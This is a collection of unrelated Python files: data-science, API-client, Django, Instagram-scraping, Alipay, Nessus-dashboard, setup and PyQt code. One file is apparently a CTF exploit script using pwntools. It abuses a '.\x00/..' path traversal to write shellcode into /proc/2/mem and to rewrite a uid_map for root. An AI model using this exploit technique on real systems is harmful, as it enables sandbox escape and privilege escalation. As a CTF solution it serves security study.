# T-SNEを用いた文章分散表現の可視化 import sys, os sys.path.append('../') from src import * import matplotlib.pyplot as plt import japanize_matplotlib import numpy as np from scipy import sparse def visualize(xs, ys, labels, dataname): plt.figure(figsize=(15, 15), dpi=300) emotion = [ "happy", "sad", "angry", "fear/surprise", "other" ] np.savez_compressed(f"./fig/{dataname}.npz", xs, ys, labels) for i, e in enumerate(emotion): idx = np.where(labels==i) plt.scatter(xs[idx], ys[idx], s=200, label=e) plt.legend() plt.title(dataname) plt.savefig(f'./fig/{dataname}.png', dpi=300) def train(vec): model = BHTSNE(n_components=2, random_state=71) np.set_printoptions(suppress=True) return model.fit_transform(vec) x = np.load("./word2vec_fine-tuning-iter5_x.npy", allow_pickle=True) y = np.load("./y_full.npy", allow_pickle=True) dataname = "word2vec_pre_all" xy = train(x) np.random.seed(seed=71) idx = np.array([ np.random.choice(np.where(y == i)[0], 120) for i in range(5) ] ).reshape(5, -1).flatten() xs,ys,labels = xy[idx, 0], xy[idx, 1], y[idx] visualize(xs, ys, labels, dataname)
python
"""HOBO API""" from __future__ import annotations import json import logging import time from typing import Any, List, Optional, Union import requests from ..exceptions import ResponseError # https://docs.python.org/3/howto/logging.html#logging-basic-tutorial logger = logging.getLogger('hobo_iot') # logger.setLevel(logging.DEBUG) default_handler = logging.StreamHandler() default_handler.setFormatter(logging.Formatter( "[%(asctime)s] [hobo-%(module)s] %(message)s" )) logger.addHandler(default_handler) HoboLogger = logger HOBO_ENDPOINT = "https://webservice.hobolink.com" HOBO_GET_TOKEN_API = "/ws/auth/token" class HoboTokenInfo: """Hobo token info. Attributes: access_token: Access token. token_type: "bearer". expire_time: Time in seconds when the token will be expired. """ def __init__(self, token_response: dict[str, Any]): """Init HoboTokenInfo.""" self.access_token = token_response.get("access_token", "") self.token_type = token_response.get("token_type", "bearer") self.expire_time = ( time.time() + token_response.get("expires_in", 600) ) def need_refresh(self) -> bool: """Should we get a new the token?""" if self.access_token: return time.time() + 60 > self.expire_time # type: ignore else: return True class HoboAPI: """HOBO API Example: hobo_api = HoboAPI(client_id, client_secret, user_id) hobo_api.get_data(["1234567", "8912345"], start_date_time, end_date_time) """ def __init__( self, client_id: str, client_secret: str, user_id: int | str, endpoint: str = HOBO_ENDPOINT ): self.endpoint = endpoint self.client_id = client_id self.client_secret = client_secret self.user_id = str(user_id) self.session = requests.session() self.token_info: HoboTokenInfo | None = None self._get_access_token_if_needed(force=True) def get_data( self, loggers: List[Union[str, int]] | Union[str, int], start_date_time: str, end_date_time: str, warn_on_empty_data: bool = False ) -> dict[str, Any]: """Get data from HOBO Web Services Args: loggers (List[Union[str, int]] | Union[str, int]): A list of Device IDs, or a single comma separated string of device ids. start_date_time (str): Must be in yyyy-MM-dd HH:mm:ss format end_date_time (str): Must be in yyyy-MM-dd HH:mm:ss format warn_on_empty_data (bool): If True, print a warning message (to HoboLogger, which by default is your console). Has no effect on function return. Returns: response (dict): JSON decoded response Raises: TypeError: The "loggers" parameter type is incorrect """ # Comma separated list of logger device IDs logger_list: str = "" if isinstance(loggers, str): logger_list = loggers elif isinstance(loggers, list): logger_list = ",".join((str(id) for id in loggers)) else: raise TypeError('Please check your input to get_data function') params = { "loggers": logger_list, "start_date_time": start_date_time, "end_date_time": end_date_time } response = self.get( path=f"/ws/data/file/JSON/user/{self.user_id}", params=params ) if warn_on_empty_data and not response.get('observation_list', None): logger.warning(f"The data seems to be empty. Response: {response}, t = {int(time.time())}") return response def _get_access_token_if_needed(self, force: bool = False) -> None: """Get a new token if needed Args: force (bool): do not cache old token Raises: ResponseError: HTTP status code and response text """ if not force and self.token_info and not self.token_info.need_refresh(): return payload = { "grant_type": "client_credentials", "client_id": self.client_id, "client_secret": self.client_secret } logger.debug(f"Getting new token, t = {int(time.time())}") logger.debug( f"Request: method = POST, \ url = {self.endpoint + HOBO_GET_TOKEN_API},\ params = None,\ body = {payload},\ t = {int(time.time())}" ) response: requests.Response = self.session.post( url=self.endpoint + HOBO_GET_TOKEN_API, data=payload ) if response.ok is False: logger.error( f"Response error: code={response.status_code}, body={response.text}" ) raise ResponseError(response.status_code, response.text) self.token_info = HoboTokenInfo(response.json()) def __request( self, method: str, path: str, params: Optional[dict[str, Any]] = None, body: Optional[dict[str, Any]] = None, auth_required: bool = True ) -> dict[str, Any]: """Internal method to call requests package Args: method (str): GET or POST path (str): Example: '/ws/data/file/JSON/user/13751' params (map): Request parameter body (map): Request body, passed to "data" parameter of requests.post Returns: response (dict): JSON decoded response body Raises: ResponseError: HTTP status code and response text """ if auth_required: self._get_access_token_if_needed() headers = None if self.token_info: access_token = self.token_info.access_token headers = {"Authorization": f"Bearer {access_token}"} logger.debug( f"Request: method = {method}, \ url = {self.endpoint + path},\ params = {params},\ body = {body},\ t = {int(time.time())}" ) response = self.session.request( method, self.endpoint + path, params=params, data=body, headers=headers ) if response.ok is False: logger.error( f"Response error: code={response.status_code}, body={response.text}" ) raise ResponseError(response.status_code, response.text) result: dict[str, Any] = response.json() logger.debug( f"Response: {json.dumps(result, ensure_ascii=False, indent=2)}" ) return result def get( self, path: str, params: Optional[dict[str, Any]] = None ) -> dict[str, Any]: """Http Get. Requests the server to return specified resources. Args: path (str): api path params (map): request parameter Returns: response (dict): JSON decoded response body """ return self.__request(method="GET", path=path, params=params, body=None) def post( self, path: str, body: Optional[dict[str, Any]] = None ) -> dict[str, Any]: """Http Post. Requests the server to update specified resources. Args: path (str): api path body (map): request body Returns: response (dict): JSON decoded response body """ return self.__request(method="POST", path=path, params=None, body=body)
python
from Lib.statistics import mean, harmonic_mean, median, mode, median_low, median_high, median_grouped, stdev, pstdev, \ pvariance, variance, StatisticsError class Statistics(object): """The library used to define statistical outputs""" def __init__(self): self.allTimers = [] self.stat = 0 def arithmetic_mean(self, collection): try: self.allTimers = collection self.stat = mean(collection) except StatisticsError: self.stat = 0 return self.stat def harmonic_mean(self, collection): try: self.allTimers = collection self.stat = harmonic_mean(collection) except StatisticsError: self.stat = 0 return self.stat def median(self, collection): try: self.allTimers = collection self.stat = median(collection) except StatisticsError: self.stat = 0 return self.stat def median_low(self, collection): try: self.allTimers = collection self.stat = median_low(collection) except StatisticsError: self.stat = 0 return self.stat def median_high(self, collection): try: self.allTimers = collection self.stat = median_high(collection) except StatisticsError: self.stat = 0 return self.stat def median_grouped(self, collection): try: self.allTimers = collection self.stat = median_grouped(collection) except StatisticsError: self.stat = 0 return self.stat def mode(self, collection): try: self.allTimers = collection self.stat = mode(collection) except StatisticsError: self.stat = 0 return self.stat def std_dev(self, collection): try: self.allTimers = collection self.stat = stdev(collection) except StatisticsError: self.stat = 0 return self.stat def variance(self, collection): try: self.allTimers = collection self.stat = variance(collection, xbar=None) except StatisticsError: self.stat = 0 return self.stat def population_std_dev(self, collection): try: self.allTimers = collection self.stat = pstdev(collection) except StatisticsError: self.stat = 0 return self.stat def population_variance(self, collection): try: self.allTimers = collection self.stat = pvariance(collection) except StatisticsError: self.stat = 0 return self.stat
python
"""Simple test for using adafruit_motorkit with a DC motor""" import time import board from adafruit_motorkit import MotorKit kit = MotorKit(i2c=board.I2C()) kit.motor1.throttle = 1.0 time.sleep(0.5) kit.motor1.throttle = 0
python
#!/usr/bin/env python # #Copyright 2020 Google LLC # #Licensed under the Apache License, Version 2.0 (the "License"); #you may not use this file except in compliance with the License. #You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # -*- coding: utf-8 -*- from pwn import * import subprocess import nsfs_pb2 as nsfs context.arch = 'amd64' subprocess.check_call(['make', 'stage2']) r = remote('127.0.0.1', 1337) process_cnt = 2 def chunks(lst, n): for i in range(0, len(lst), n): yield lst[i:i + n] def write_file(path, data, offset=0): global process_cnt for part in chunks(data, 4096): op = nsfs.Operation() op.action = nsfs.WRITE op.path = ".\x00/.." + path op.data = part if offset != 0: op.offset = offset msg = op.SerializeToString() r.send(p32(len(msg)) + msg) offset += 4096 process_cnt += 1 #r.recvuntil('write success\n') write_file('/tmp/stage2', read('stage2')) sc = shellcraft.nop()*0x100 + shellcraft.execve('/tmp/stage2') write_file('/proc/2/mem', asm(sc), ELF('./init').symbols['main']) r.recvuntil('waiting for uid 0') print('writing uid_map') write_file('/proc/{}/uid_map'.format(process_cnt+1), "0 1338 1\n1338 0 1") r.interactive()
python
from django.conf.urls import url, include urlpatterns = [ url(r'^oauth2/', include('django_auth_adfs.urls')), url(r'^oauth2/', include('django_auth_adfs.drf_urls')), ]
python
from typing import List, Tuple from instagrapi.exceptions import ClientError, HashtagNotFound from instagrapi.extractors import ( extract_hashtag_gql, extract_hashtag_v1, extract_media_gql, extract_media_v1, ) from instagrapi.types import Hashtag, Media from instagrapi.utils import dumps class HashtagMixin: """ Helpers for managing Hashtag """ def hashtag_info_a1(self, name: str, max_id: str = None) -> Hashtag: """ Get information about a hashtag by Public Web API Parameters ---------- name: str Name of the hashtag max_id: str Max ID, default value is None Returns ------- Hashtag An object of Hashtag """ params = {"max_id": max_id} if max_id else None data = self.public_a1_request(f"/explore/tags/{name}/", params=params) if not data.get("hashtag"): raise HashtagNotFound(name=name, **data) return extract_hashtag_gql(data["hashtag"]) def hashtag_info_gql( self, name: str, amount: int = 12, end_cursor: str = None ) -> Hashtag: """ Get information about a hashtag by Public Graphql API Parameters ---------- name: str Name of the hashtag amount: int, optional Maximum number of media to return, default is 12 end_cursor: str, optional End Cursor, default value is None Returns ------- Hashtag An object of Hashtag """ variables = {"tag_name": name, "show_ranked": False, "first": int(amount)} if end_cursor: variables["after"] = end_cursor data = self.public_graphql_request( variables, query_hash="f92f56d47dc7a55b606908374b43a314" ) if not data.get("hashtag"): raise HashtagNotFound(name=name, **data) return extract_hashtag_gql(data["hashtag"]) def hashtag_info_v1(self, name: str) -> Hashtag: """ Get information about a hashtag by Private Mobile API Parameters ---------- name: str Name of the hashtag Returns ------- Hashtag An object of Hashtag """ result = self.private_request(f"tags/{name}/info/") return extract_hashtag_v1(result) def hashtag_info(self, name: str) -> Hashtag: """ Get information about a hashtag Parameters ---------- name: str Name of the hashtag Returns ------- Hashtag An object of Hashtag """ try: hashtag = self.hashtag_info_a1(name) except Exception: # Users do not understand the output of such information and create bug reports # such this - https://github.com/adw0rd/instagrapi/issues/364 # if not isinstance(e, ClientError): # self.logger.exception(e) hashtag = self.hashtag_info_v1(name) return hashtag def hashtag_related_hashtags(self, name: str) -> List[Hashtag]: """ Get related hashtags from a hashtag Parameters ---------- name: str Name of the hashtag Returns ------- List[Hashtag] List of objects of Hashtag """ data = self.public_a1_request(f"/explore/tags/{name}/") if not data.get("hashtag"): raise HashtagNotFound(name=name, **data) return [ extract_hashtag_gql(item["node"]) for item in data["hashtag"]["edge_hashtag_to_related_tags"]["edges"] ] def hashtag_medias_a1_chunk( self, name: str, max_amount: int = 27, tab_key: str = "", end_cursor: str = None ) -> Tuple[List[Media], str]: """ Get chunk of medias and end_cursor by Public Web API Parameters ---------- name: str Name of the hashtag max_amount: int, optional Maximum number of media to return, default is 27 tab_key: str, optional Tab Key, default value is "" end_cursor: str, optional End Cursor, default value is None Returns ------- Tuple[List[Media], str] List of objects of Media and end_cursor """ assert tab_key in ("edge_hashtag_to_top_posts", "edge_hashtag_to_media"), \ 'You must specify one of the options for "tab_key" ("edge_hashtag_to_top_posts" or "edge_hashtag_to_media")' unique_set = set() medias = [] while True: data = self.public_a1_request( f"/explore/tags/{name}/", params={"max_id": end_cursor} if end_cursor else {}, )["hashtag"] page_info = data["edge_hashtag_to_media"]["page_info"] end_cursor = page_info["end_cursor"] edges = data[tab_key]["edges"] for edge in edges: if max_amount and len(medias) >= max_amount: break # check uniq media_pk = edge["node"]["id"] if media_pk in unique_set: continue unique_set.add(media_pk) # check contains hashtag in caption media = extract_media_gql(edge["node"]) if f"#{name}" not in media.caption_text: continue # Enrich media: Full user, usertags and video_url medias.append(self.media_info_gql(media_pk)) ###################################################### # infinity loop in hashtag_medias_top_a1 # https://github.com/adw0rd/instagrapi/issues/52 ###################################################### # Mikhail Andreev, [30.12.20 02:17]: # Instagram always returns the same 9 medias for top # I think we should return them without a loop ###################################################### # if not page_info["has_next_page"] or not end_cursor: # break # if max_amount and len(medias) >= max_amount: # break break return medias, end_cursor def hashtag_medias_a1( self, name: str, amount: int = 27, tab_key: str = "" ) -> List[Media]: """ Get medias for a hashtag by Public Web API Parameters ---------- name: str Name of the hashtag amount: int, optional Maximum number of media to return, default is 27 tab_key: str, optional Tab Key, default value is "" Returns ------- List[Media] List of objects of Media """ medias, _ = self.hashtag_medias_a1_chunk(name, amount, tab_key) if amount: medias = medias[:amount] return medias def hashtag_medias_v1_chunk( self, name: str, max_amount: int = 27, tab_key: str = "", max_id: str = None ) -> Tuple[List[Media], str]: """ Get chunk of medias for a hashtag and max_id (cursor) by Private Mobile API Parameters ---------- name: str Name of the hashtag max_amount: int, optional Maximum number of media to return, default is 27 tab_key: str, optional Tab Key, default value is "" max_id: str Max ID, default value is None Returns ------- Tuple[List[Media], str] List of objects of Media and max_id """ assert tab_key in ("top", "recent"), \ 'You must specify one of the options for "tab_key" ("top" or "recent")' data = { "supported_tabs": dumps([tab_key]), # 'lat': 59.8626416, # 'lng': 30.5126682, "include_persistent": "true", "rank_token": self.rank_token, "count": 10000, } medias = [] while True: result = self.private_request( f"tags/{name}/sections/", params={"max_id": max_id} if max_id else {}, data=self.with_default_data(data), ) for section in result["sections"]: layout_content = section.get("layout_content") or {} nodes = layout_content.get("medias") or [] for node in nodes: if max_amount and len(medias) >= max_amount: break media = extract_media_v1(node["media"]) # check contains hashtag in caption if f"#{name}" not in media.caption_text: continue medias.append(media) if not result["more_available"]: break if max_amount and len(medias) >= max_amount: break max_id = result["next_max_id"] return medias, max_id def hashtag_medias_v1( self, name: str, amount: int = 27, tab_key: str = "" ) -> List[Media]: """ Get medias for a hashtag by Private Mobile API Parameters ---------- name: str Name of the hashtag amount: int, optional Maximum number of media to return, default is 27 tab_key: str, optional Tab Key, default value is "" Returns ------- List[Media] List of objects of Media """ medias, _ = self.hashtag_medias_v1_chunk(name, amount, tab_key) if amount: medias = medias[:amount] return medias def hashtag_medias_top_a1(self, name: str, amount: int = 9) -> List[Media]: """ Get top medias for a hashtag by Public Web API Parameters ---------- name: str Name of the hashtag amount: int, optional Maximum number of media to return, default is 9 Returns ------- List[Media] List of objects of Media """ return self.hashtag_medias_a1(name, amount, tab_key="edge_hashtag_to_top_posts") def hashtag_medias_top_v1(self, name: str, amount: int = 9) -> List[Media]: """ Get top medias for a hashtag by Private Mobile API Parameters ---------- name: str Name of the hashtag amount: int, optional Maximum number of media to return, default is 9 Returns ------- List[Media] List of objects of Media """ return self.hashtag_medias_v1(name, amount, tab_key="top") def hashtag_medias_top(self, name: str, amount: int = 9) -> List[Media]: """ Get top medias for a hashtag Parameters ---------- name: str Name of the hashtag amount: int, optional Maximum number of media to return, default is 9 Returns ------- List[Media] List of objects of Media """ try: medias = self.hashtag_medias_top_a1(name, amount) except ClientError: medias = self.hashtag_medias_top_v1(name, amount) return medias def hashtag_medias_recent_a1(self, name: str, amount: int = 71) -> List[Media]: """ Get recent medias for a hashtag by Public Web API Parameters ---------- name: str Name of the hashtag amount: int, optional Maximum number of media to return, default is 71 Returns ------- List[Media] List of objects of Media """ return self.hashtag_medias_a1(name, amount, tab_key="edge_hashtag_to_media") def hashtag_medias_recent_v1(self, name: str, amount: int = 27) -> List[Media]: """ Get recent medias for a hashtag by Private Mobile API Parameters ---------- name: str Name of the hashtag amount: int, optional Maximum number of media to return, default is 71 Returns ------- List[Media] List of objects of Media """ return self.hashtag_medias_v1(name, amount, tab_key="recent") def hashtag_medias_recent(self, name: str, amount: int = 27) -> List[Media]: """ Get recent medias for a hashtag Parameters ---------- name: str Name of the hashtag amount: int, optional Maximum number of media to return, default is 71 Returns ------- List[Media] List of objects of Media """ try: medias = self.hashtag_medias_recent_a1(name, amount) except ClientError: medias = self.hashtag_medias_recent_v1(name, amount) return medias
python
#!/usr/bin/env python # -*- coding: utf-8 -*- import json from alipay.aop.api.response.AlipayResponse import AlipayResponse class ZhimaCreditEpDataRatingQueryResponse(AlipayResponse): def __init__(self): super(ZhimaCreditEpDataRatingQueryResponse, self).__init__() self._amount = None self._biz_code = None self._credit_level = None self._decision = None self._ext_info = None self._relation_order_no = None self._transaction_id = None @property def amount(self): return self._amount @amount.setter def amount(self, value): self._amount = value @property def biz_code(self): return self._biz_code @biz_code.setter def biz_code(self, value): self._biz_code = value @property def credit_level(self): return self._credit_level @credit_level.setter def credit_level(self, value): self._credit_level = value @property def decision(self): return self._decision @decision.setter def decision(self, value): self._decision = value @property def ext_info(self): return self._ext_info @ext_info.setter def ext_info(self, value): self._ext_info = value @property def relation_order_no(self): return self._relation_order_no @relation_order_no.setter def relation_order_no(self, value): self._relation_order_no = value @property def transaction_id(self): return self._transaction_id @transaction_id.setter def transaction_id(self, value): self._transaction_id = value def parse_response_content(self, response_content): response = super(ZhimaCreditEpDataRatingQueryResponse, self).parse_response_content(response_content) if 'amount' in response: self.amount = response['amount'] if 'biz_code' in response: self.biz_code = response['biz_code'] if 'credit_level' in response: self.credit_level = response['credit_level'] if 'decision' in response: self.decision = response['decision'] if 'ext_info' in response: self.ext_info = response['ext_info'] if 'relation_order_no' in response: self.relation_order_no = response['relation_order_no'] if 'transaction_id' in response: self.transaction_id = response['transaction_id']
python
# Import from standard library import logging import datetime import math # Import from third-party from flask import Flask, render_template, json, request, jsonify, session import pytz # Import local files import DAO.db_connect as db_connect from config.config import ElasticConfig def nessus_overview(): try: es = db_connect.connect_elasticsearch() try: # Process sort and body from arguments search_query = request.args.get('q') or '' _search_query = ' '.join( '*'+_+'*' for _ in search_query.split(' ')) paging_from = int(request.args.get('page') or 1) paging_size = ElasticConfig.DEFAULT_PAGE_SIZE if 'size' in request.args: paging_size = int(request.args.get('size')) session['paging_size'] = paging_size elif 'paging_size' in session: paging_size = session['paging_size'] sort = request.args.get('sort') index = request.args.get('index') if index is None: index = "scanstat.startTime" if sort is None: sort = "desc" sort_query = generateSortQuery(sort, index) query_body = { "_source": ["target", "vuln_stats", "scanstat", "hostname", "ports", "scan_id", "scan_name", "root_scan_id"], "from": (paging_from - 1) * paging_size, "size": paging_size, "query": { "bool": { "filter": { "bool": { "should": [ { "query_string": { "fields": ["target", "hostname", "scan_id", "scan_name"], "query": _search_query } } ] } } } } } # Process data rawData = es.search(index=ElasticConfig.NESSUS_INDEX, body=query_body, sort=sort_query) processed_data = processNessus(rawData) paging_total = processed_data['total'] paging = { "paging_from": paging_from, "paging_size": paging_size, "paging_total": paging_total, "left_page": max(paging_from - 2, 1), "right_page": min(max(paging_from - 2, 1) + 4, math.ceil(paging_total / paging_size)) } if sort == "desc": sort = "asc" else: sort = "desc" except: logging.exception(msg="Fail") except: logging.exception(msg="Fail") session['module'] = "nessus" session['overview'] = True return render_template('nessus.html', response=processed_data, search_query=search_query, sorting=sort, index=index, paging=paging) def generateSortQuery(sort, index): sort_query = "" if index == '1': sort_query = "target.keyword" + ":" + sort elif index == '2': sort_query = "hostname.keyword" + ":" + sort elif index == '3': sort_query = "scanstat.startTime" + ":" + sort elif index == '4': sort_query = "scanstat.duration" + ":" + sort elif index == '5': sort_query = "scan_id.keyword" + ":" + sort elif index == '6': sort_query = "scan_name.keyword" + ":" + sort elif index == '7': sort_query = "vuln_stats.high:{},vuln_stats.medium:{},vuln_stats.low:{},vuln_stats.informational:{}".format(sort, sort, sort, sort) return sort_query def processNessus(rawData): try: UTC7 = pytz.timezone('Asia/Ho_Chi_Minh') processing_data = rawData['hits'] result = {} # Backward version of elasticSearch compatitive if type(processing_data['total']) == dict: result['total'] = processing_data['total']['value'] else: result['total'] = processing_data['total'] result['records'] = [] for hit in processing_data['hits']: _source = hit['_source'] _source["id"] = hit.get('_id') _source['init_time'] = str(datetime.datetime.fromtimestamp( int(_source.get('scanstat').get("startTime")), tz=UTC7)) _source['scan_time'] = int(_source.get('scanstat').get("duration")) result['records'].append(_source) return result except: logging.exception(msg="No validated jsonified data to be processed!")
python
#!/usr/bin/env python import distutils.log import os import subprocess from distutils.spawn import find_executable from setuptools import Command, find_packages, setup from distutils.command.build import build class BuildCommand(build): def run(self): self.run_command('compile_webui') build.run(self) class CompileWebUI(Command): description = 'use npm to compile raiden_webui' user_options = [ ('dev', 'D', 'use development preset, instead of production (default)'), ] def initialize_options(self): self.dev = None def finalize_options(self): pass def run(self): npm = find_executable('npm') if not npm: if os.environ.get('RAIDEN_NPM_MISSING_FATAL') is not None: # Used in the automatic deployment scripts to prevent builds with missing web-ui raise RuntimeError('NPM not found. Aborting') self.announce( 'NPM not found. Skipping webUI compilation', level=distutils.log.WARN, # pylint: disable=no-member ) return npm_run = 'build:prod' if self.dev is not None: npm_run = 'build:dev' cwd = os.path.abspath( os.path.join( os.path.dirname(__file__) ), ) npm_version = subprocess.check_output([npm, '--version']) # require npm 4.x.x or later if not int(npm_version.split(b'.')[0]) >= 4: if os.environ.get('RAIDEN_NPM_MISSING_FATAL') is not None: # Used in the automatic deployment scripts to prevent builds with missing web-ui raise RuntimeError(f'NPM >= 4.0 required. Have {npm_version} from {npm}.') self.announce( 'NPM 4.x or later required. Skipping webUI compilation', level=distutils.log.WARN, # pylint: disable=no-member ) return command = [npm, 'install'] self.announce( 'Running %r in %r' % (command, cwd), level=distutils.log.INFO, # pylint: disable=no-member ) subprocess.check_call(command, cwd=cwd) command = [npm, 'run', npm_run] self.announce( 'Running %r in %r' % (command, cwd), level=distutils.log.INFO, # pylint: disable=no-member ) subprocess.check_call(command, cwd=cwd) self.announce( 'WebUI compiled with success!', level=distutils.log.INFO, # pylint: disable=no-member ) with open('README.md', encoding='utf-8') as readme_file: readme = readme_file.read() history = '' version = '0.9.2' # Do not edit: this is maintained by bumpversion (see .bumpversion.cfg) setup( name='raiden-webui', description='Raiden webui', version=version, long_description=readme, long_description_content_type='text/markdown', author='Brainbot Labs Est.', author_email='[email protected]', url='https://github.com/raiden-network/webui', packages=find_packages(), include_package_data=True, license='MIT', zip_safe=False, keywords='raiden webui', classifiers=[ 'Development Status :: 3 - Alpha', 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Natural Language :: English' ], cmdclass={ 'compile_webui': CompileWebUI, 'build': BuildCommand }, use_scm_version=True, setup_requires=['setuptools_scm'], python_requires='>=3.6' )
python
from PyQt5.QtCore import QSize, Qt from PyQt5.QtGui import QResizeEvent from PyQt5.QtWidgets import QScrollArea, QVBoxLayout, QWidget from brainframe_qt.ui.resources import stylesheet_watcher from brainframe_qt.ui.resources.mixins.style import TransientScrollbarMI from brainframe_qt.ui.resources.paths import qt_qss_paths from brainframe_qt.ui.resources.ui_elements.widgets import BackgroundImageText from .widgets.thumbnail_grid_layout import ThumbnailGridLayout class _VideoThumbnailViewUI(QWidget): def __init__(self, parent: QWidget): super().__init__(parent) self.background_widget = self._init_background_widget() self.alert_stream_layout = self._init_alert_stream_layout() self.alertless_stream_layout = self._init_alertless_stream_layout() self.container_widget = self._init_container_widget() self.scroll_area = self._init_scroll_area() self._init_layout() self._init_style() def _init_background_widget(self) -> BackgroundImageText: text = self.tr("Click the ➕ button to add a new stream") svg_path = ":/icons/no_streams" background_widget = BackgroundImageText(text, svg_path, self) return background_widget def _init_container_widget(self) -> QWidget: container_widget = QWidget(self) container_widget.setObjectName("container") container_widget.setAttribute(Qt.WA_StyledBackground, True) container_widget.setLayout(self._init_container_widget_layout()) container_widget.setAttribute(Qt.WA_StyledBackground, True) return container_widget # noinspection PyMethodMayBeStatic def _init_container_widget_layout(self) -> QVBoxLayout: layout = _ContainerLayout() layout.setAlignment(Qt.AlignTop) layout.setContentsMargins(0, 0, 0, 0) layout.setSpacing(0) layout.addWidget(self.alert_stream_layout) layout.addWidget(self.alertless_stream_layout) layout.setAlignment(self.alert_stream_layout, Qt.AlignTop) layout.setAlignment(self.alertless_stream_layout, Qt.AlignTop) return layout def _init_scroll_area(self) -> "_ThumbnailScrollArea": scroll_area = _ThumbnailScrollArea(self) scroll_area.setWidget(self.container_widget) return scroll_area def _init_alert_stream_layout(self) -> ThumbnailGridLayout: alert_stream_layout = ThumbnailGridLayout(self) layout_name = self.tr("Streams with ongoing alerts:") alert_stream_layout.layout_name = layout_name alert_stream_layout.expand_grid(True) return alert_stream_layout def _init_alertless_stream_layout(self) -> ThumbnailGridLayout: alertless_stream_layout = ThumbnailGridLayout(self) layout_name = self.tr("Streams without alerts:") alertless_stream_layout.layout_name = layout_name alertless_stream_layout.expand_grid(True) return alertless_stream_layout def _init_layout(self) -> None: layout = QVBoxLayout() layout.setAlignment(Qt.AlignTop) layout.addWidget(self.background_widget) layout.addWidget(self.scroll_area) self.scroll_area.hide() self.setLayout(layout) def _init_style(self) -> None: # Allow background of widget to be styled self.setAttribute(Qt.WA_StyledBackground, True) stylesheet_watcher.watch(self, qt_qss_paths.video_thumbnail_view_qss) class _ThumbnailScrollArea(QScrollArea, TransientScrollbarMI): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self._init_viewport_widget() self._init_style() def resizeEvent(self, event: QResizeEvent) -> None: """Prevent the scroll area from scrolling horizontally by setting minimumWidth to be the sizeHint of its contents""" super().resizeEvent(event) self.setMinimumWidth(self.widget().minimumSizeHint().width()) def _init_viewport_widget(self) -> None: # Give the viewport a name for the stylesheet self.viewport().setObjectName("viewport") self.viewport().setAttribute(Qt.WA_StyledBackground, True) def _init_style(self) -> None: # Allow background of widget to be styled self.setAttribute(Qt.WA_StyledBackground, True) self.setWidgetResizable(True) class _ContainerLayout(QVBoxLayout): def sizeHint(self) -> QSize: """This is a hack. Not doing this makes the ThumbnailGridLayouts get squished vertically, when used in conjunction with their container layout's alignment set to Qt.AlignTop. I don't know why this fixes it """ sh = super().sizeHint() sh.setHeight(9999999) return sh
python
# coding: utf-8 import os import logging import sys import torch import time import copy # my staff from models.modules.context_embedder_base import ContextEmbedderBase, BertContextEmbedder, \ BertSeparateContextEmbedder, NormalContextEmbedder, BertSchemaContextEmbedder, BertSchemaSeparateContextEmbedder, \ ElectraContextEmbedder, ElectraSchemaContextEmbedder from models.modules.similarity_scorer_base import SimilarityScorerBase, MatchingSimilarityScorer, \ PrototypeSimilarityScorer, ProtoWithLabelSimilarityScorer, TapNetSimilarityScorer, \ reps_dot, reps_l2_sim, reps_cosine_sim from models.modules.emission_scorer_base import EmissionScorerBase, MNetEmissionScorer, \ PrototypeEmissionScorer, ProtoWithLabelEmissionScorer, TapNetEmissionScorer from models.modules.transition_scorer import FewShotTransitionScorer, FewShotTransitionScorerFromLabel from models.modules.seq_labeler import SequenceLabeler, RuleSequenceLabeler from models.modules.text_classifier import SingleLabelTextClassifier from models.modules.conditional_random_field import ConditionalRandomField, allowed_transitions from models.few_shot_seq_labeler import FewShotSeqLabeler, SchemaFewShotSeqLabeler from models.few_shot_text_classifier import FewShotTextClassifier, SchemaFewShotTextClassifier from models.modules.scale_controller import build_scale_controller, ScaleControllerBase from utils.device_helper import prepare_model logging.basicConfig(format='%(asctime)s - %(levelname)s - %(name)s - %(message)s', datefmt='%m/%d/%Y %H:%M:%S', level=logging.INFO, stream=sys.stdout) logger = logging.getLogger(__name__) def make_scaler_args(name : str, normalizer: ScaleControllerBase, scale_r: float = None): ret = None if name == 'learn': ret = {'normalizer': normalizer} elif name == 'fix': ret = {'normalizer': normalizer, 'scale_rate': scale_r} return ret def make_model(opt, config): """ Customize and build the few-shot learning model from components """ ''' Build context_embedder ''' if opt.context_emb == 'bert': context_embedder = BertSchemaContextEmbedder(opt=opt) if opt.use_schema else BertContextEmbedder(opt=opt) elif opt.context_emb == 'sep_bert': context_embedder = BertSchemaSeparateContextEmbedder(opt=opt) if opt.use_schema else \ BertSeparateContextEmbedder(opt=opt) elif opt.context_emb == 'electra': context_embedder = ElectraSchemaContextEmbedder(opt=opt) if opt.use_schema else ElectraContextEmbedder(opt=opt) elif opt.context_emb == 'elmo': raise NotImplementedError elif opt.context_emb == 'glove': context_embedder = NormalContextEmbedder(opt=opt, num_token=len(opt.word2id)) context_embedder.load_embedding() elif opt.context_emb == 'raw': context_embedder = NormalContextEmbedder(opt=opt, num_token=len(opt.word2id)) else: raise TypeError('wrong component type') ''' Create log file to record testing data ''' if opt.emb_log: emb_log = open(os.path.join(opt.output_dir, 'emb.log'), 'w') if 'id2label' in config: emb_log.write('id2label\t' + '\t'.join([str(k) + ':' + str(v) for k, v in config['id2label'].items()]) + '\n') else: emb_log = None '''Build emission scorer and similarity scorer ''' # build scaler ems_normalizer = build_scale_controller(name=opt.emission_normalizer) ems_scaler = build_scale_controller( name=opt.emission_scaler, kwargs=make_scaler_args(opt.emission_scaler, ems_normalizer, opt.ems_scale_r)) if opt.similarity == 'dot': sim_func = reps_dot elif opt.similarity == 'cosine': sim_func = reps_cosine_sim elif opt.similarity == 'l2': sim_func = reps_l2_sim else: raise TypeError('wrong component type') if opt.emission == 'mnet': similarity_scorer = MatchingSimilarityScorer(sim_func=sim_func, emb_log=emb_log) emission_scorer = MNetEmissionScorer(similarity_scorer, ems_scaler, opt.div_by_tag_num) elif opt.emission == 'proto': similarity_scorer = PrototypeSimilarityScorer(sim_func=sim_func, emb_log=emb_log) emission_scorer = PrototypeEmissionScorer(similarity_scorer, ems_scaler) elif opt.emission == 'proto_with_label': similarity_scorer = ProtoWithLabelSimilarityScorer(sim_func=sim_func, scaler=opt.ple_scale_r, emb_log=emb_log) emission_scorer = ProtoWithLabelEmissionScorer(similarity_scorer, ems_scaler) elif opt.emission == 'tapnet': 